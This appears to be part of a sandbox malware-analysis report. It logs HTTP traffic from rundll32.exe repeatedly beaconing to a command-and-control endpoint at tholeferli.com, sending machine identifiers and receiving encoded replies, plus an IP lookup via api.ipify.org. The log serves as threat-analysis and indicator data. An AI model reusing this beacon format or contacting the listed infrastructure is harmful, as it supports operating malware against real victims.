Jul 22, 2021 16:11:16.824492931 CEST	323	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:17.994708061 CEST	323	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 5a 41 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAZAZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49193	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:18.275527954 CEST	324	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:18.446471930 CEST	324	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 41 5a 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCAZXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.22	49194	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:18.738598108 CEST	325	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:18.908724070 CEST	326	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 48 53 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZHSAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.22	49195	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:19.188211918 CEST	326	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:19.343904018 CEST	327	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4b 50 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNKPMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.22	49196	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:19.614252090 CEST	328	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:19.770859003 CEST	328	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 43 58 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQCXJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49170	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:05.626411915 CEST	292	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:05.795413971 CEST	292	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 47 54 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAGTZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.22	49197	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:20.081789017 CEST	329	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:20.239052057 CEST	329	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 5a 41 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNZAMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.22	49198	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:20.521209002 CEST	330	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:21.975286007 CEST	330	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4d 4e 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZMNAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.22	49199	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:22.258954048 CEST	331	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:22.426027060 CEST	331	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 51 4a 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGQJTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.22	49200	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:22.720313072 CEST	332	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:22.876840115 CEST	332	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 5a 41 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVZAEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.22	49201	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:23.162344933 CEST	333	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:23.318594933 CEST	333	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 56 45 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGVETARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.22	49202	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:23.593628883 CEST	334	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:23.762403965 CEST	335	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4d 4e 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZMNAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.22	49203	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:24.041052103 CEST	335	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:24.211648941 CEST	336	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 43 58 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFCXUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.22	49204	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:24.500588894 CEST	336	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:24.672410011 CEST	337	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 41 5a 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJAZQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.22	49205	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:24.952299118 CEST	338	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:25.108439922 CEST	338	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 5a 41 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGZATARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.22	49206	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:25.390419006 CEST	339	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:25.547324896 CEST	339	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 4b 50 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCKPXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49171	50.16.239.65	80	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:06.081828117 CEST	293	OUT	GET /?format=xml HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive
Jul 22, 2021 16:11:06.266412020 CEST	295	IN	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Thu, 22 Jul 2021 14:11:06 GMT Content-Length: 10 Via: 1.1 vegur Data Raw: 38 34 2e 31 37 2e 35 32 2e 38 Data Ascii: 84.17.52.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.22	49207	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:25.845089912 CEST	340	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:26.011414051 CEST	340	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 48 53 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJHSQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.22	49208	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:26.291963100 CEST	341	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:26.458389997 CEST	341	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 42 59 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGBYTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.22	49209	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
